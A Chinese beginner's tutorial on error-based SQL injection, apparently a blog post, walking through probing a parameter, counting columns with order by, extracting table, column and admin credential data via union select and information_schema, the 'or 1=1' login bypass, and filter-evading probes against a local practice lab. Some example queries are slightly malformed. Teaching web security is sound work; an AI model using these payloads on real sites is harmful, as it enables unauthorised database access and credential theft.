SQL注入新手入門

什么是SQL?


SQL是操作數(shù)據(jù)庫數(shù)據(jù)的結構化查詢語言,網(wǎng)頁的應用數(shù)據(jù)和后臺數(shù)據(jù)庫中的數(shù)據(jù)進行交互時會采用SQL。而SQL注入是將Web頁面的原URL、表單域或數(shù)據(jù)包輸入的參數(shù),修改拼接成SQL語句,傳遞給Web服務器,進而傳給數(shù)據(jù)庫服務器以執(zhí)行數(shù)據(jù)庫命令。如Web應用程序的開發(fā)人員對用戶所輸入的數(shù)據(jù)或cookie等內容不進行過濾或驗證(即存在注入點)就直接傳輸給數(shù)據(jù)庫,就可能導致拼接的SQL被執(zhí)行,獲取對數(shù)據(jù)庫的信息以及提權,發(fā)生SQL注入攻擊.

SQL注入的原理


SQL注入即是指web應用程序對用戶輸入數(shù)據(jù)的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現(xiàn)非法操作,以此來實現(xiàn)欺騙數(shù)據(jù)庫服務器執(zhí)行非授權的任意查詢,從而進一步得到相應的數(shù)據(jù)信息??偨Y為一句話就是用戶輸入的數(shù)據(jù)被當作代碼執(zhí)行了,與數(shù)據(jù)庫產生了交互。

其實SQL注入分為很多中,比如常規(guī)的顯錯注入,報錯注入,盲注,DNS注入,反彈注入,偏移注入等等,在后面的文章中會為大家一一介紹。

顯錯注入



今天為先為大家介紹一下顯錯注入,什么是顯錯注入?看名字可以理解,其實所謂的顯錯注入就是在我們進行sql注入的時候,當我們輸入的語句與系統(tǒng)數(shù)據(jù)庫進行交互的時候,我們可以很直觀的觀察到系統(tǒng)頁面的變化。

比如:原系統(tǒng)網(wǎng)址為

http://xxx.xxx.xxx/1.php?id=1


當我們拼接sql語句如

http://xxx.xxx.xxx/1.php?id=1+and+1=1-- a 頁面返回正常


http://xxx.xxx.xxx/1.php?id=1+and+1=2-- a 頁面返回異常,我們之前的頁面信息都消失不見了


那么這就是最明顯的頁面交互,頁面會有明顯的發(fā)生變化。

那么我們在做SQL注入的時候流程怎么走呢?

首先我們在對一個站點進行測試的時候,需要先有一個注入點,然后才能進行申請sql注入的測試。

如何判斷注入點?

首先判斷一個網(wǎng)站是否存在注入點,就要先找到一個傳參點,就拿上圖來說,?id=1就是網(wǎng)站傳參的點,比如,當id=2,id=3...的時候頁面會發(fā)生變化,說明這個位置與數(shù)據(jù)庫產生交互,我們可以試著用這個位置拼接我們的語句進行注入。

最簡單的方式就是拼接 and 1=1 ,因為and 1=1 執(zhí)行的結果是ture,無論之前的語句是什么都會成立的,假設系統(tǒng)原本的執(zhí)行語句為:

select * from aa where id = 1

當他拼接了我們的語句

select * from aa where id = 1 and 1=1

這個語句依然成立,從而頁面返回正常,但這知識理想的假設,再比如原本的語句為

select * from aa where id=1 and cid=12 and user='sdas'

這時候頁面顯示給我們的id=1 如果我們拼接了and 1=1 order by 1,原來的語句就會變成

select * from aa where id=1 and 1=1 order by 1?and cid=12 and user='sdas'

就會早成語句order 后面的語句報錯 整條語句不會執(zhí)行,所以我們在這里要用到注釋

-- a 、 --+ 、 # 、; 等,針對不同的數(shù)據(jù)庫注釋符號不同,一般會使用-- a ,因為這個位置的空格會被瀏覽器解析掉,所以默認在空格后面加上一些字符讓瀏覽器解析到空格。從而導致后面的語句被注銷,前面的語句依然可以正常執(zhí)行,比如

select * from aa where id=1 and 1=1 order by 1 -- afsa and cid=12 and user='sdas'

既然可以拼接and 1=1 那么我們可以拼接一些其他的,比如

select * from aa where id=1 and 1=1 union select username,password from admin limit 0,1-- asd

直接去查找管理員的賬號密碼,當然上面這條語句在執(zhí)行的時候會報錯的,因為每個表都有固定的字段,如果想把兩個表拼接到一起執(zhí)行出數(shù)據(jù),就需要兩個表的字段一樣,所以我們要先判斷字段

如何判斷字段數(shù)?

一般我們都會利用order by 來判斷字段數(shù),order by 是排序,根據(jù)某一列排序,而在數(shù)據(jù)庫中,每一列可以用數(shù)字代替,比如aa這個表有5個字段,當我們order by 6的時候系統(tǒng)會應為找不到這個字段而報錯,所以就可以判斷aa為5個字段。

那么假設我們的admin表有三個字段,如何于五個字段的aa表一起執(zhí)行的,那么這里我們就用到了占位,語句如

select * from aa where id=1 and 1=1 union select 1,2,3,4,5 from admin

但是,有沒有想過,我們怎么知道admin表有多少個字段呢,再或者一步去想,我們怎么知道數(shù)據(jù)庫有沒有admin這個表呢,那么這就要關系到下面我要講的。

mysql數(shù)據(jù)庫,與其他數(shù)據(jù)庫不太一樣,mysql在執(zhí)行SQL語句的時候可以不用去針對某個表,不如

select 1,2,3,4,5

就會在表中顯示1,2,3,4,5.那么當上面的語句于我們的語句拼接在一起的時候系統(tǒng)會默認查出來兩條或者多條數(shù)據(jù),而頁面只能顯示一條數(shù)據(jù),怎么辦呢,我們可以想一下,當前面執(zhí)行的語句沒有查到數(shù)據(jù),后面的語句查到了,那么不就會顯示后面的數(shù)據(jù)了嗎!比如

select * from aa and 1=2 union select 1,2,3,4,5

這里我直接用靶場頁面,這里通過order by判斷的是兩個字段。


有沒有發(fā)現(xiàn)頁面返回了一個2,為什么返回一個2,想過沒有。假設前面的aa表有兩個字段,原本頁面查詢到的數(shù)據(jù)是aa 這個表中id=1這一列第二列的數(shù)據(jù) ,但我們通過拼接兩個字段進去之后1,2就代替了原本的第二列的數(shù)據(jù)顯示出來,這也就是我們所說的回顯點。判斷得到回顯點了之后我們要值到數(shù)據(jù)庫有沒有這個表,知道有沒有這個表之前,我們還要先知道當前是處于哪個數(shù)據(jù)庫,因為mysql數(shù)據(jù)庫會存在很多自建庫名,我們需要先知道當前的庫名。

如何判斷當前庫?

這里給大家引入一個mysql默認的函數(shù)。database(),database中文翻譯出來就是數(shù)據(jù)庫,而這個函數(shù)的作用就是返回當前系統(tǒng)鎖在的庫,比如之前的aa處于哪個數(shù)據(jù)庫里面?我們你可以利用database() 進行查詢到,我們把上面的回顯點換成database(),讓他去查詢當前所在的庫名。


頁面返回了maoshe,也就是當前的數(shù)據(jù)庫名稱,知道了數(shù)據(jù)庫名稱,我們要知道當前的庫有哪些表。

如何判斷表名以及字段名的?

這里在給大家引入幾個函數(shù),information_schema mysql的系統(tǒng)自帶庫,它提供了訪問數(shù)據(jù)庫元數(shù)據(jù)的方式。什么是元數(shù)據(jù)呢?元數(shù)據(jù)是關于數(shù)據(jù)的數(shù)據(jù),如數(shù)據(jù)庫名或表名,列的數(shù)據(jù)類型,或訪問權限等。有些時候用于表述該信息的其他術語包括“數(shù)據(jù)詞典”和“系統(tǒng)目錄”。在MySQL中,把 information_schema 看作是一個數(shù)據(jù)庫,確切說是信息數(shù)據(jù)庫。其中保存著關于MySQL服務器所維護的所有其他數(shù)據(jù)庫的信息。如數(shù)據(jù)庫名,數(shù)據(jù)庫的表,表欄的數(shù)據(jù)類型與訪問權限等。這里我只給大家介紹幾個參數(shù):

TABLES表:提供了關于數(shù)據(jù)庫中的表的信息(包括視圖)。詳細表述了某個表屬于哪個schema,表類型,表引擎,創(chuàng)建時間等信息。是show tables from schemaname的結果取之此表。

COLUMNS表:提供了表中的列信息。詳細表述了某張表的所有列以及每個列的信息。是show columns from schemaname.tablename的結果取之此表。

table_name:可以理解為TABLES表中的一個表示表名的函數(shù)。

column_name:可以理解為COLUMNS表中的一個表示列名的函數(shù)。

查詢表的語句可以這么寫:

select * from aa id=1 and 1=2 union select 1,table_name from information_schema.tables where? table_schema=database() and?database()='maoshe' limit 0,1-- asfa


這里的limit是用來排序的,我么可以利用group_concat()來一次查詢出所有表

select * from aa id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where?table_schema=database() and?database()='maoshe' -- asfa


這時候我們就可以根據(jù)表中數(shù)據(jù)進行查詢,但是我們知道表名如何查詢字段的名稱呢,語句如下

select* from aa where id=1 and 1=2 select 1,column_name from information_schema.columns where?table_name='admin' limit 0,1-- a


一次查詢出來為

select* from aa where id=1 and 1=2 select 1,group_concat(column_name) from information_schema.columns where?table_name='admin' limit 0,1-- a


既然知道了表名和字段名稱,那么我們就可以直接通過聯(lián)合查詢去查詢帳號和密碼.



當然我們在進行黑盒測試的時候是看不到源代碼的,所以說執(zhí)行的sql語句我們是看不到的,這里就需要我們注意了。通常開發(fā)人員在編寫執(zhí)行代碼的時候會在原執(zhí)行的SQL語句中添加一些特殊字符來防止sql注入。

比如:正常的sql語句為

Select * from admin where id=1

經過添加特殊字符之后可能會變成這個樣子

select *from user where id='1'

select *from user where id=('1')

select *from user where id=("1")

這時候我們在進行注入的時候需要注意閉合,

比如:當我們閉合了之后語局會變成這個樣子

select *from user where id='1'?and 1=1-- a'

select *from user where id=('1')?and 1=1-- a')

select *from user where id=("1")?and 1=1-- a")

當然對于這種傳參我們一般會在get傳參的時候遇到,對于post傳參我們通常會遇到這樣的語句

比如:登錄框的位置

select *from user where username ='' and password=''

需要我們輸入用戶名密碼進行驗證登錄,當語句沒有經過過濾的時候我們可以傳入這樣的語句

select *from user where username =''or 1=1-- a' and password=''

這也就是我們常說的萬能密碼,當然一般的開發(fā)人員都會對傳參位置進行很多限制,

比如

select *from user where username =("") and password=("")

select *from user where username ='' and password=''

這只是簡單的需要進行閉合,與上面get傳參一樣,當然過濾的方式有很多種,這就要涉及到bypass那一塊了,當開發(fā)人員過濾了某些特殊字符,我們不能使用一些傳參的時候,怎么進行繞過。

首先我們看一個網(wǎng)站是否存在注入點,別一來就加單引號,因為某些敏感的網(wǎng)站,你加了單引號,你的ip直接被ban了,

比如:

http://127.0.0.1/sql/Less-1/?id=1-1 ???

http://127.0.0.1/sql/Less-1/?id=1

看這2個回顯的長度,用burpsuit看length,這是基于數(shù)字型的

http://127.0.0.1/sql/Less-1/?id=1'-'1 ??

http://127.0.0.1/sql/Less-1/?id=1'-'0 ????

這是基于字符串型的

如果是空數(shù)據(jù)類型的,這樣判斷

http://127.0.0.1/sql/Less-1/?id=1-exp(11111) ???

如若用and 1=1,我建議不要這樣,因為現(xiàn)在大部分網(wǎng)站都會攔截,我們可以

1%2b1=2 ?

1%2b1>1 ??這樣判斷

本篇文章至此結束,希望對剛入門的朋友有所幫助。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。
禁止轉載,如需轉載請通過簡信或評論聯(lián)系作者。

友情鏈接更多精彩內容